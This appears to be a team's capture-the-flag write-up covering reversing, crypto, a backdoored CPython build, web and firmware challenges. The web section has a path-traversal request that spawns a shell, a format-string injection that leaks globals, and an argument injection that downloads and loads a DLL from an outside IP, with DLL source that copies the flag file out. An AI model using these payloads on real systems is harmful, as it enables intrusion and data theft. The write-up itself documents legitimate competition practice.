def read_and_reverse(file_path):
with open(file_path, 'rb') as f:
f.seek(0x1079)
data = f.read(8)
return data[::-1]
def main():
result = b''
for i in range(0, 11):
reversed_data = read_and_reverse(f"small-flag_{i}")
if i == 4:
reversed_data = reversed_data[3:] + reversed_data[:3]
if i == 8:
reversed_data = reversed_data[2:] + reversed_data[:2]
if i == 10:
reversed_data = reversed_data[::-1]
result += reversed_data
result_str = result.decode('utf-8')
print(result_str)
if __name__ == "__main__":
main()
Flag
EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}
65537
After giving the result of the script back to GPT a few iteration, got flag. Two major progress is noticing a lots of 0s and GPT striping small factors, second is ask GPT to avoid randomness getting bruteforce result.
Final Solve Script
#!/usr/bin/env sage -python
# -*- coding: utf-8 -*-
import ast
from sage.all import (
ZZ, QQ, Matrix, vector,
binomial, gcd, xgcd, lcm,
power_mod, inverse_mod
)
try:
from Crypto.Util.number import long_to_bytes
except Exception:
def long_to_bytes(x):
x = int(x)
if x == 0:
return b"\x00"
return x.to_bytes((x.bit_length() + 7)//8, "big")
# -----------------------------
# Helpers
# -----------------------------
def vlog(msg):
print(f"[+] {msg}")
def parse_cs(path="output.txt"):
with open(path, "r", encoding="utf-8", errors="ignore") as f:
data = f.read()
idx = data.find("cs =")
if idx == -1:
raise ValueError("Cannot find 'cs =' in output.txt")
rhs = data[idx:].split("=", 1)[1].strip()
cs = ast.literal_eval(rhs)
if not isinstance(cs, list) or len(cs) == 0:
raise ValueError("Parsed cs is empty / not list")
return [ZZ(x) for x in cs]
def mod_pow_signed(a, e, n):
a = ZZ(a) % n
e = ZZ(e)
if e >= 0:
return power_mod(a, e, n)
inv = inverse_mod(a, n) # requires gcd(a,n)=1
return power_mod(inv, -e, n)
def combine_cipher_powers_subset(cs, idxs, exps, n):
acc = ZZ(1)
for j, e in enumerate(exps):
e = ZZ(e)
if e == 0:
continue
acc = (acc * mod_pow_signed(cs[idxs[j]], e, n)) % n
return acc
def pick_small_relations(B_lll, k=16):
rels = []
for r in B_lll.rows():
r = vector(ZZ, r)
l1 = sum(abs(int(x)) for x in r)
if l1 == 0:
continue
if all(int(x) >= 0 for x in r) or all(int(x) <= 0 for x in r):
continue
rels.append((l1, r))
rels.sort(key=lambda x: x[0])
return [r for _, r in rels[:k]]
def normalize_rel(rel):
g = ZZ(0)
rr = [ZZ(x) for x in rel]
for x in rr:
g = gcd(g, abs(x))
if g > 1:
rr = [x // g for x in rr]
return vector(ZZ, rr)
# -----------------------------
# Fast relation checks (no inverses)
# -----------------------------
def relation_delta_mod(cs, rel, modn):
A = ZZ(1) % modn
B = ZZ(1) % modn
for c, a in zip(cs, rel):
a = int(a)
if a > 0:
A = (A * power_mod(c % modn, ZZ(a), modn)) % modn
elif a < 0:
B = (B * power_mod(c % modn, ZZ(-a), modn)) % modn
return (A - B) % modn
def relation_multiple_of_n_seed_big(cs, rel):
A = ZZ(1)
B = ZZ(1)
nz = sp = sn = 0
for c, a in zip(cs, rel):
a = int(a)
if a > 0:
nz += 1
sp += a
A *= (ZZ(c) ** a)
elif a < 0:
nz += 1
sn += (-a)
B *= (ZZ(c) ** (-a))
D = A - B
return abs(D), nz, sp, sn, abs(D).nbits()
# -----------------------------
# 1) Recover modulus n (LLL + gcd refinement)
# -----------------------------
def recover_modulus_n(cs):
assert len(cs) == 87, "Expect 87 ciphertexts"
coeff = [ZZ(((-1) ** (37 - k)) * binomial(37, k)) for k in range(38)]
rows = []
for s in range(50):
v = [ZZ(0)] * 87
for k in range(38):
v[s + k] = coeff[k]
rows.append(v)
B = Matrix(ZZ, rows)
vlog(f"Built universal relation basis B: {B.nrows()}x{B.ncols()}")
vlog("Running LLL to find short relations ...")
B_lll = B.LLL()
vlog("LLL done.")
rels = pick_small_relations(B_lll, k=16)
rels = [normalize_rel(r) for r in rels]
rels = sorted(rels, key=lambda r: (sum(abs(int(x)) for x in r), max(abs(int(x)) for x in r)))
vlog(f"Picked {len(rels)} candidate short relations (normalized).")
seed = rels[0]
vlog(f"[seed] l1={sum(abs(int(x)) for x in seed)}, max|a|={max(abs(int(x)) for x in seed)}")
Dabs, nz, sp, sn, bits = relation_multiple_of_n_seed_big(cs, seed)
vlog(f"[seed] nonzero={nz}, sum_pos={sp}, sum_neg={sn}, |D| bits={bits}")
g = ZZ(Dabs)
vlog(f"[seed] gcd bits={g.nbits()}")
for idx, rel in enumerate(rels[1:], 1):
dmod = relation_delta_mod(cs, rel, g)
if dmod == 0:
continue
g2 = gcd(g, dmod)
if g2 != g:
g = g2
vlog(f"[refine] relation #{idx}: gcd -> bits={g.nbits()}")
if 1250 <= g.nbits() <= 1400 and g > max(cs):
vlog("[refine] gcd plausible as n, stopping early")
break
vlog(f"Recovered candidate n (bits={g.nbits()})")
return g, rels
# -----------------------------
# 1.5) Strip huge spurious small factors (fast, guarded)
# -----------------------------
def aggressive_strip_small_factors(cs, n, rels, max_prime_bits=80, max_iters=120):
n = ZZ(n)
maxc = max(cs)
test_rels = rels[: min(5, len(rels))]
def rel_ok(modn):
for r in test_rels:
if relation_delta_mod(cs, r, modn) != 0:
return False
return True
vlog("Aggressive stripping of small factors ...")
if n % 2 == 0:
v2 = n.valuation(2)
n //= ZZ(2) ** v2
vlog(f" force-stripped 2^{int(v2)} -> nbits={n.nbits()}")
if n.nbits() > 20000:
vlog(" nbits is huge; running extra gcd-shrink passes ...")
for t in range(min(40, len(rels))):
d = relation_delta_mod(cs, rels[t], n)
if d != 0:
n2 = gcd(n, d)
if n2 != n and n2 > maxc:
n = n2
if n % 2 == 0:
v2 = n.valuation(2)
n //= ZZ(2) ** v2
vlog(f" shrink#{t}: nbits={n.nbits()}")
if n.nbits() <= 8000:
break
for it in range(max_iters):
inv_cnt = sum(1 for c in cs if gcd(c, n) == 1)
vlog(f" iter={it}: invertible={inv_cnt}/87, nbits={n.nbits()}")
if inv_cnt >= 87:
break
bad_gcds = []
for c in cs:
g = gcd(c, n)
if g != 1 and g != n:
bad_gcds.append(ZZ(g))
small_primes = set()
for g in bad_gcds[:60]:
if g.nbits() <= max_prime_bits * 3:
try:
fac = g.factor()
for p, e in fac:
p = ZZ(p)
if 1 < p.nbits() <= max_prime_bits:
small_primes.add(p)
except Exception:
pass
if not small_primes:
break
changed = False
for p in sorted(small_primes):
if p == 2:
continue
vp = n.valuation(p)
if vp == 0:
continue
cand = n // (p ** vp)
if cand > maxc and rel_ok(cand):
n = cand
changed = True
vlog(f" stripped p={int(p)}^{int(vp)} -> nbits={n.nbits()}")
else:
lo, hi = 0, int(vp)
best = 0
while lo <= hi:
mid = (lo + hi) // 2
cc = n // (p ** mid)
if mid == 0 or (cc > maxc and rel_ok(cc)):
best = mid
lo = mid + 1
else:
hi = mid - 1
if best > 0:
n //= (p ** best)
changed = True
vlog(f" stripped p={int(p)}^{best} (binary) -> nbits={n.nbits()}")
if not changed:
break
inv_cnt = sum(1 for c in cs if gcd(c, n) == 1)
vlog(f"After stripping: invertible={inv_cnt}/87")
return n
# -----------------------------
# 2) Deterministic 37-subset + ONE-SHOT Vandermonde inverse => all weights
# -----------------------------
def choose_subset_indices(mode="first"):
if mode == "first":
return list(range(37))
if mode == "evens":
return [2*i for i in range(37)]
if mode == "odds":
return [2*i+1 for i in range(37)]
if mode == "zigzag":
idxs = []
l, r = 0, 86
while len(idxs) < 37:
idxs.append(l); l += 1
if len(idxs) < 37:
idxs.append(r); r -= 1
return idxs
raise ValueError("unknown mode")
def all_weights_via_vandermonde(points_sub):
m = 37
A = Matrix(ZZ, m, m, lambda t, j: ZZ(points_sub[j])**t)
Ainv = A.change_ring(QQ).inverse()
WZ = []
K = []
for r in range(m):
wq = Ainv.column(r)
den = ZZ(1)
for z in wq:
den = lcm(den, ZZ(z.denominator()))
wz = vector(ZZ, [ZZ(z * den) for z in wq])
WZ.append(wz)
K.append(den)
return WZ, K
# -----------------------------
# 3) DLOG helpers
# -----------------------------
def dlog_range_0_65536(base, target, n):
MAX = 65537
v = ZZ(1)
for t in range(MAX):
if v == target:
return t
v = (v * base) % n
return None
def mitm_pair_solve_nontrivial(A0, K0, A1, K1, n):
"""
Return (f0,f1) in [0..65536]^2 but NOT (0,0) and also reject f0==0 (anchor).
Deterministic: finds the first nontrivial collision found during scan.
"""
MAX = 65537
baseL = power_mod(A0, ZZ(K1), n)
baseR = power_mod(A1, ZZ(K0), n)
left = {}
v = ZZ(1)
for b in range(MAX):
# Store b for v; but keep the SMALLEST b > 0 if possible for v==1
if v not in left:
left[v] = b
else:
# prefer nonzero b over 0 if the stored one is 0
if left[v] == 0 and b != 0:
left[v] = b
v = (v * baseL) % n
v = ZZ(1)
for a in range(MAX):
b = left.get(v)
if b is not None:
# reject trivial and reject anchor a==0
if not (a == 0 and b == 0) and a != 0:
return a, b
v = (v * baseR) % n
return None
# -----------------------------
# 4) Polynomial eval & recover m from (c_i, E_i)
# -----------------------------
def poly_eval(coeffs_f, x):
acc = ZZ(0)
for a in reversed(coeffs_f):
acc = acc * x + a
return acc
def recover_m_from_ci_Ei(cs, Es, n):
"""
Deterministic folding:
Find first i with E_i != 0, start from there.
Skip E_i==0 points but verify c_i == 1 for those.
"""
assert len(cs) == len(Es)
# ensure all invertible
for i,c in enumerate(cs):
if gcd(c, n) != 1:
raise RuntimeError(f"ciphertext at i={i} not invertible; gcd={gcd(c,n)}")
start = None
for i in range(len(Es)):
if ZZ(Es[i]) != 0:
start = i
break
# if exponent 0, ciphertext must be 1 mod n
if (cs[i] % n) != 1:
raise RuntimeError(f"E[{i}]=0 but c[{i}] != 1 mod n (got {cs[i] % n}); coefficients are wrong.")
if start is None:
# all zero exponents => meaningless
return ZZ(1), ZZ(0)
cur_elem = cs[start] % n
cur_e = ZZ(Es[start])
for i in range(start+1, len(cs)):
ei = ZZ(Es[i])
if ei == 0:
if (cs[i] % n) != 1:
raise RuntimeError(f"E[{i}]=0 but c[{i}] != 1 mod n; coefficients are wrong.")
continue
g2, u, v = xgcd(cur_e, ei)
cur_elem = (mod_pow_signed(cur_elem, int(u), n) * mod_pow_signed(cs[i], int(v), n)) % n
cur_e = g2
if i % 10 == 0:
vlog(f"[m-fold] i={i}, gcd(E[..]) = {cur_e}")
if cur_e == 1:
return cur_elem, ZZ(1)
return cur_elem, cur_e
def grep_flag(raw_bytes):
pos = raw_bytes.find(b"EOF{")
if pos == -1:
return None
end = raw_bytes.find(b"}", pos)
if end == -1:
return raw_bytes[pos:]
return raw_bytes[pos:end+1]
# -----------------------------
# Main
# -----------------------------
def main():
cs = parse_cs("output.txt")
vlog(f"Loaded {len(cs)} ciphertexts. max bits={max(cs).nbits()}")
n0, rels = recover_modulus_n(cs)
n = aggressive_strip_small_factors(cs, n0, rels, max_prime_bits=80, max_iters=120)
vlog(f"Refined n bits={n.nbits()}")
# sanity delta_mod(rel0)
coeff = [ZZ(((-1) ** (37 - k)) * binomial(37, k)) for k in range(38)]
rel0 = [ZZ(0)] * 87
for k in range(38):
rel0[k] = coeff[k]
d0 = relation_delta_mod(cs, rel0, n)
vlog(f"Sanity delta_mod(rel0) = {d0} (expect 0)")
points_all = [ZZ(65537 + i) for i in range(87)]
modes = ["first", "evens", "odds", "zigzag"]
for mode in modes:
vlog(f"=== Deterministic subset mode={mode} ===")
idxs = choose_subset_indices(mode)
points_sub = [points_all[i] for i in idxs]
WZ, K = all_weights_via_vandermonde(points_sub)
# compute A_r
A = []
for r in range(37):
Ar = combine_cipher_powers_subset(cs, idxs, WZ[r], n)
A.append(Ar)
nondeg = sum(1 for Ar in A if Ar != 1)
vlog(f"Non-degenerate A_r (A!=1): {nondeg}/37")
if nondeg < 10:
continue
# Try multiple anchors deterministically to avoid f_anchor=0
solved = False
for r0 in range(37):
for r1 in range(37):
if r1 == r0:
continue
sol = mitm_pair_solve_nontrivial(A[r0], K[r0], A[r1], K[r1], n)
if sol is None:
continue
f_r0, f_r1 = sol
# reject cases that likely degenerate
if f_r0 == 0:
continue
vlog(f"Seed pair: r0={r0}, r1={r1}, f_r0={f_r0}, f_r1={f_r1}")
# solve all coefficients using anchor r0
f = [None] * 37
f[r0] = ZZ(f_r0)
f[r1] = ZZ(f_r1)
anchor_pow = ZZ(K[r0]) * ZZ(f_r0) # MUST be nonzero
ok = True
for rr in range(37):
if f[rr] is not None:
continue
base = power_mod(A[r0], ZZ(K[rr]), n)
target = power_mod(A[rr], anchor_pow, n)
t = dlog_range_0_65536(base, target, n)
if t is None:
ok = False
break
f[rr] = ZZ(t)
if not ok:
continue
# quick sanity: avoid "all zero polynomial"
if all(ZZ(v) == 0 for v in f):
continue
vlog("Solved coefficients f_r: 37/37")
# compute E_i = f(65537+i)
Es = [poly_eval(f, points_all[i]) for i in range(87)]
# recover m from (c_i, E_i)
m_elem, gE = recover_m_from_ci_Ei(cs, Es, n)
vlog(f"gcd(E_i) = {gE}")
if gE != 1:
vlog(f"Got only m^g (g={gE}). Printing candidate anyway.")
print(f"\n=== m_candidate_pow_g (int) ===\n{int(m_elem)}\n")
continue
m = ZZ(m_elem)
vlog("Recovered m.")
print(f"\n=== m (int) ===\n{int(m)}\n")
raw = long_to_bytes(int(m))
print("=== RAW BYTES (repr) ===")
print(repr(raw))
hit = grep_flag(raw)
print("\n=== GREP EOF{ ===")
print(hit.decode("utf-8", errors="replace") if hit else "NOT FOUND")
print("\n=== UTF-8 (replace) ===")
print(raw.decode("utf-8", errors="replace"))
solved = True
break
if solved:
break
if solved:
return
raise RuntimeError("All deterministic subset modes failed (after banning trivial seed).")
main()
https://chatgpt.com/share/694673cb-7d34-8008-a41b-a06e8962b35d
Flag
EOF{https://www.youtube.com/watch?v=hyvPxeLx_Yg}
Impure
Note: I solve this on day one with the wrong binary
Using python --version to see that it is Python 3.15.0a2+, so download same version Python 3.15.0a2 and build a clean binary. After diffing all the symbols in both binary, noticed a wierd symbol trigger_bytes.4 only in the polluted symbol. Tracing the code that references, it checks if the content is trigger bytes when creating an list, if yes, it replace with the FLAG (which I thought it was fake on the first day). After the binary update at the second day, the same input got the real flag.
uint64_t list___init___impl_part_0(void* arg1, int32_t* arg2)
{
void* fsbase;
int64_t rax = *(fsbase + 0x28);
int64_t rax_2 = PySequence_Size(arg2);
uint64_t result;
if (rax_2 == 0x18)
{
int32_t* rax_4 = PySequence_GetItem(arg2, 0);
if (rax_4 != 0)
{
int64_t rax_6 = PyLong_AsLong(rax_4);
int32_t rdx_3 = *rax_4;
if (rdx_3 s>= 0)
{
*rax_4 = rdx_3 - 1;
}
if (rdx_3 == 1)
{
_Py_Dealloc(rax_4);
}
if (rax_6 == -1)
{
if (PyErr_Occurred() != 0)
{
PyErr_Clear();
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
else
{
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
}
else if (rax_6 != 0x98 || arg2 == 0)
{
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
else
{
int64_t* rax_7 = PySequence_Fast(arg2, "list() argument must be iterable");
if (rax_7 == 0)
{
if (PyErr_ExceptionMatches(PyExc_TypeError) != 0)
{
PyErr_Clear();
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
else
{
result = 0xffffffff;
}
}
else
{
int64_t rax_8 = rax_7[2];
void* r15_1;
if ((*(rax_7[1] + 0xab) & 2) == 0)
{
r15_1 = &rax_7[4];
if (rax_8 == 0x18)
{
goto label_149b7a;
}
label_149bc6:
int32_t rax_11 = *rax_7;
if (rax_11 s>= 0)
{
*rax_7 = rax_11 - 1;
}
if (rax_11 == 1)
{
_Py_Dealloc(rax_7);
}
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
else
{
if (rax_8 != 0x18)
{
goto label_149bc6;
}
r15_1 = rax_7[3];
label_149b7a:
void* const r14_1 = &trigger_bytes.4;
while (true)
{
int64_t rax_9 = PyLong_AsLong(*r15_1);
if (rax_9 == -1)
{
if (PyErr_Occurred() != 0)
{
PyErr_Clear();
}
goto label_149bc6;
}
if (zx.q(*r14_1) != rax_9)
{
goto label_149bc6;
}
r14_1 += 1;
r15_1 += 8;
if (r14_1 == &data_3d1ff8)
{
int32_t rax_15 = *rax_7;
if (rax_15 s>= 0)
{
*rax_7 = rax_15 - 1;
}
if (rax_15 == 1)
{
_Py_Dealloc(rax_7);
}
int128_t var_68;
__builtin_strncpy(dest: &var_68, src: "FLAG{B4ckD0oR3d_CpYT70n}", n: 0x19);
int32_t* rax_17 = PyUnicode_FromString(&var_68);
if (rax_17 == 0)
{
break;
}
int64_t rax_18 = *(arg1 + 0x20);
void** rdi_11 = *(arg1 + 0x18);
if (rax_18 s<= 0 || rax_18 s> 3)
{
void** rax_19 = PyMem_Realloc(rdi_11, 0x20);
rdi_11 = rax_19;
if (rax_19 == 0)
{
PyErr_NoMemory();
int32_t rax_20 = *rax_17;
if (rax_20 s>= 0)
{
*rax_17 = rax_20 - 1;
}
if (rax_20 == 1)
{
_Py_Dealloc(rax_17);
}
break;
}
*(arg1 + 0x18) = rax_19;
*(arg1 + 0x10) = 1;
*(arg1 + 0x20) = 4;
}
else
{
*(arg1 + 0x10) = 1;
}
*rdi_11 = rax_17;
result = 0;
goto label_149aaa;
}
}
result = 0xffffffff;
}
}
}
}
else
{
label_149ae9:
if (PyErr_ExceptionMatches(PyExc_TypeError) == 0)
{
result = 0xffffffff;
}
else
{
PyErr_Clear();
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
}
}
else
{
if (rax_2 s< 0)
{
goto label_149ae9;
}
result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
}
label_149aaa:
*(fsbase + 0x28);
if (rax == *(fsbase + 0x28))
{
return result;
}
__stack_chk_fail();
}
$ ./bin/python3.15
Python 3.15.0a2+ (heads/main-dirty:bef63d2fb81, Dec 21 2025, 01:29:29) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> list(
[152, 146, 159, 153, 165, 156, 234, 189, 181, 154, 238, 177, \
140, 237, 186, 129, 157, 174, 135, 138, 233, 238, 176, 163]
)
['EOF{_B4CkD0oR3d_CpYT70N}']
Bun.PHP
Solved by ianiiaann
首先我們要想辦法讓 /cgi-bin/:filename 的 Handler 能在 Path traversal 後還是會被用到,用 %2f 取代 / 就好,接下來要想辦法讓 scriptPath 跑 PHP CGI script 以外的東西,用 /cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php 就能 spawn 出來 sh,最後拿 Flag 出來之前我們先輸出 \r\n\r\n 讓 Bun 在處裡 Response 的時候能把 Flag 內容當作 Body 丟回來
POST /cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php HTTP/1.1
Host: localhost:1337
Content-Length: 47
echo -e "\r\n\r\n" ; /readflag give me the flag
HTTP/1.1 200 OK
content-type: text/plain;charset=utf-8
Date: Sat, 20 Dec 2025 05:39:11 GMT
Content-Length: 38
Flag
EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}
CookieMonster Viewer
Leak path
by ianiiaann
按鈕按下去會丟 POST Request 到 /api/preview ,其中內容是 {url: "http://localhost/api/templates/lake", username: "ian"},把 url 改成 Webhook 能發現 Webhook 的內容被當成 Template 處理了,經過測試後面的東西是 Python Format String,進行 Format String Injection 能 Leak 出當前檔案位置
{user.__init__.__globals__}
"{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000018F8140B9B0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:\\\\supersecureyouwillneverguessed\\\\app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://chals2.eof.ais3.org:20033/api/preview' [POST]>, 'send_from_directory': <function send_from_directory at 0x0000018F83217240>, 'send_file': <function send_file at 0x0000018F832171A0>, 'render_template_string': <function render_template_string at 0x0000018F83399DA0>, 'subprocess': <module 'subprocess' from 'C:\\\\Python\\\\Lib\\\\subprocess.py'>, 'os': <module 'os' (frozen)>, 'app': <Flask 'app'>, 'get_os': <function get_os at 0x0000018F8340DE40>, 'User': <class '__main__.User'>, 'index': <function index at 0x0000018F8340E200>, 'preview': <function preview at 0x0000018F8340E2A0>, 'get_template': <function get_template at 0x0000018F8340E340>}"
RCE
solved by me (unicorn)
題序看 WORST BEST FIT 找到 WorstFit: Unveiling Hidden Transformers in Windows ANSI!
然後 format 在 pyjail cheatsheet 挖到 payload
- WorstFit 寫讀 flag dll url:
"http://140.112.30.182:8000/pwn.dll" -o C:/Windows/Temp/pwn.dll"" - 接著用 ctypes load dll 把 flag 寫到 temp, url:
{user.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[C:/Windows/Temp/pwn.dll]}
- url:
file:///C:/Temp/leak.txt拿 flag
dll 為被載入時會自動找到 flag 並把內容寫到 C:\\Windows\\Temp\\leak.txt
// pwn.c (Windows DLL, minimal)
// On load: find C:\flag-*.txt -> copy to C:\Windows\Temp\leak.txt
// Also append logs to C:\Windows\Temp\pwn.log
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
static const wchar_t* LOGP = L"C:\\Windows\\Temp\\pwn.log";
static const wchar_t* LEAKP = L"C:\\Windows\\Temp\\leak.txt";
static void loga(const char* s) {
HANDLE h = CreateFileW(
LOGP, FILE_APPEND_DATA, FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
);
if (h == INVALID_HANDLE_VALUE) return;
DWORD n;
WriteFile(h, s, (DWORD)lstrlenA(s), &n, 0);
CloseHandle(h);
}
static void loge(const char* where) {
char buf[256];
wsprintfA(buf, "[!] %s GLE=%lu\r\n", where, (unsigned long)GetLastError());
loga(buf);
}
static int write_all(const wchar_t* path, const char* data, DWORD len) {
HANDLE h = CreateFileW(
path, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
);
if (h == INVALID_HANDLE_VALUE) return 0;
DWORD n;
BOOL ok = WriteFile(h, data, len, &n, 0);
CloseHandle(h);
return ok && n == len;
}
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID rsv) {
(void)h; (void)rsv;
if (reason != DLL_PROCESS_ATTACH) return TRUE;
loga("[*] pwn.dll loaded\r\n");
WIN32_FIND_DATAW fd;
HANDLE fh = FindFirstFileW(L"C:\\flag-*.txt", &fd);
if (fh == INVALID_HANDLE_VALUE) {
loge("FindFirstFileW");
return TRUE;
}
FindClose(fh);
wchar_t flagpath[MAX_PATH];
lstrcpyW(flagpath, L"C:\\");
lstrcatW(flagpath, fd.cFileName);
loga("[+] found flag file\r\n");
HANDLE f = CreateFileW(
flagpath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
);
if (f == INVALID_HANDLE_VALUE) {
loge("CreateFileW(flag)");
return TRUE;
}
char buf[4096];
DWORD rd = 0;
BOOL ok = ReadFile(f, buf, sizeof(buf) - 1, &rd, 0);
CloseHandle(f);
if (!ok) {
loge("ReadFile(flag)");
return TRUE;
}
buf[rd] = 0;
if (!write_all(LEAKP, buf, rd)) {
loge("Write leak.txt");
return TRUE;
}
loga("[+] wrote C:\\Windows\\Temp\\leak.txt\r\n");
return TRUE;
}
Flag
EOF{worst_flt_4rg_1nj3ct10n_w/_format_string!}
MRTGuessor
Solved by Chang
看時刻表只有忠孝新生新埔和永春比較可能

然後只有忠孝新生有那樣的屋頂

bored
Solved by 山羊
查看 firmware 檔案,無法確定其格式,而 xxd 顯示最後面有 “Input: “, “Output: “ 字串。 直接用 IDA 打開 firmware,點選 Create ROM section,IDA 自動找到 function 並反組譯。 簡單逆向過後,發現它會讀使用者輸入,做 sub_44, sub_FA 的一些運算後輸出。 題目另一個檔案 signal.vcd 表示 UART 訊號,寫 python 解回資料。
edges = [
(833328, 0),
(1041660, 1),
(1145826, 0),
# ...
]
BAUD_RATE = 9600
BIT_TIME_NS = int(1e9 / BAUD_RATE) # 每 bit 時間,ns 單位
def reconstruct_waveform(edges, bit_time_ns):
"""將 edges 擴展成每 bit waveform"""
waveform = []
for i in range(len(edges)-1):
start, val = edges[i]
end, _ = edges[i+1]
# 這段持續時間對應的 bit 數量
num_bits = max(1, round((end - start) / bit_time_ns))
for _ in range(num_bits):
waveform.append(val)
# 加最後一個 edge 的值
waveform.append(edges[-1][1])
return waveform
def decode_uart_waveform(waveform):
"""採樣 waveform,還原 UART bytes"""
decoded_bytes = []
i = 0
while i < len(waveform):
if waveform[i] == 0: # start bit
byte_val = 0
# 8 data bits, 採樣點 = start bit + 1..8
for b in range(8):
idx = i + 1 + b
if idx < len(waveform):
byte_val |= (waveform[idx] << b)
decoded_bytes.append(byte_val)
i += 9 # skip start + 8 bits (假設 1 stop bit)
else:
i += 1
return decoded_bytes
waveform = reconstruct_waveform(edges, BIT_TIME_NS)
decoded = decode_uart_waveform(waveform)
ascii_str = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decoded])
print("Length:", len(decoded))
print("Decoded bytes:", decoded)
print("ASCII output:", ascii_str)
輸出結果是 b4r3MEt41,可看成是一個 key。
讓 ChatGPT 查看 sub_44, sub_FA 邏輯,生成逆向邏輯程式。
class Struct:
def __init__(self):
self.data = list(range(256))
self.field_100 = 0
self.field_104 = 0
def sub_44(result, key):
"""KSA"""
for i in range(256):
result.data[i] = i
result.field_100 = 0
result.field_104 = 0
v9 = 0
key_len = len(key)
for j in range(256):
v5 = (key[j % key_len] + result.data[j] + v9) & 0xFF
result.data[j], result.data[v5] = result.data[v5], result.data[j]
v9 = v5
def sub_FA(a1):
"""PRGA"""
a1.field_100 = (a1.field_100 + 1) & 0xFF
a1.field_104 = (a1.field_104 + a1.data[a1.field_100]) & 0xFF
a1.data[a1.field_100], a1.data[a1.field_104] = a1.data[a1.field_104], a1.data[a1.field_100]
idx = (a1.data[a1.field_100] + a1.data[a1.field_104]) & 0xFF
return a1.data[idx]
def encrypt(key, plaintext):
s = Struct()
sub_44(s, [ord(c) for c in key])
cipher = []
for b in plaintext:
ks = sub_FA(s)
cipher.append(ks ^ b)
return cipher
def decrypt(key, ciphertext):
# RC4 對稱
s = Struct()
sub_44(s, [ord(c) for c in key])
plain = []
for c in ciphertext:
ks = sub_FA(s)
plain.append(ks ^ c)
return bytes(plain)
# 範例
key = "b4r3MEt41"
ciphertext = [
0xA2, 0xC3, 0x9E, 0xCC, 0x60, 0x35, 0xEE, 0xBF, 0xF5, 0x7D,
0x78, 0x5A, 0xCD, 0xD5, 0xC8, 0x52, 0x80, 0xAE, 0xC6, 0x19,
0x56, 0xF2, 0xA7, 0xCB, 0xD5, 0xB, 0xE1, 0x61, 0xB9, 0x14
] # 這是 byte_394 XOR keystream
plaintext = decrypt(key, ciphertext)
print(plaintext)
Flag
EOF{ExP3d14i0N_33_15_4he_G0AT}